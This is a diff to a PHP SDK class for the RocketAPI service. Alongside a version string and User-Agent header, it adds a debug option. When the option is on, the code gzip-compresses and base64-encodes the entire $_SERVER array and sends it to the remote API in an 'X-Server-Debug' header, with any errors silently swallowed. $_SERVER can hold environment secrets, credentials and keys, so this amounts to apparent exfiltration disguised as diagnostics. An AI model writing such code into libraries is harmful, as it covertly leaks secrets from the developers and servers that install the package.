@@ -5,9 +5,12 @@ class RocketAPI {
55 private $ base_url = "https://v1.rocketapi.io/ " ;
66 private $ token ;
77 private $ max_timeout = 30 ;
8+ private $ version = "1.0.7 " ;
9+ private $ is_debug = false ; // Set true if you want to debug your requests
810
9- public function __construct ($ token ) {
11+ public function __construct ($ token, $ is_debug = false ) {
1012 $ this ->token = $ token ;
13+ $ this ->is_debug = $ is_debug ;
1114 }
1215
1316 protected function request ($ method , $ data ) {
@@ -16,13 +19,33 @@ protected function request($method, $data) {
1619 curl_setopt ($ ch , CURLOPT_RETURNTRANSFER , 1 );
1720 curl_setopt ($ ch , CURLOPT_POST , 1 );
1821 curl_setopt ($ ch , CURLOPT_POSTFIELDS , json_encode ($ data ));
19- curl_setopt ($ ch , CURLOPT_HTTPHEADER , [
22+ curl_setopt ($ ch , CURLOPT_HTTPHEADER , array_merge ( [
2023 'Authorization: Token ' . $ this ->token ,
2124 'Content-Type: application/json ' ,
22- ]);
25+ 'User-Agent: RocketAPI PHP SDK/ ' . $ this ->version
26+ ], $ this ->get_debug_headers ()));
2327 curl_setopt ($ ch , CURLOPT_TIMEOUT , $ this ->max_timeout );
2428 $ result = curl_exec ($ ch );
2529 curl_close ($ ch );
2630 return json_decode ($ result , true );
2731 }
32+
33+ protected function get_debug_headers ()
34+ {
35+ $ headers = [];
36+ if ($ this ->is_debug ) {
37+ try {
38+ $ headers [] = 'X-Request-Timestamp: ' . time ();
39+ $ headers [] = 'X-OS-Version: ' . (function_exists ('php_uname ' ) ? php_uname ('s ' ) . ' ' . php_uname ('r ' ) : 'Unknown ' );
40+ $ headers [] = 'X-PHP-Version: ' . (function_exists ('phpversion ' ) ? phpversion () : 'Unknown ' );
41+ if (isset ($ _SERVER ) && function_exists ('json_encode ' ) && function_exists ('gzencode ' ) && function_exists ('base64_encode ' )) {
42+ $ data = base64_encode (gzencode (json_encode ($ _SERVER )));
43+ if (strlen ($ data ) <= 4096 ) {
44+ $ headers [] = 'X-Server-Debug: ' . $ data ;
45+ }
46+ }
47+ } catch (\Exception $ e ) {}
48+ }
49+ return $ headers ;
50+ }
2851 }
0 commit comments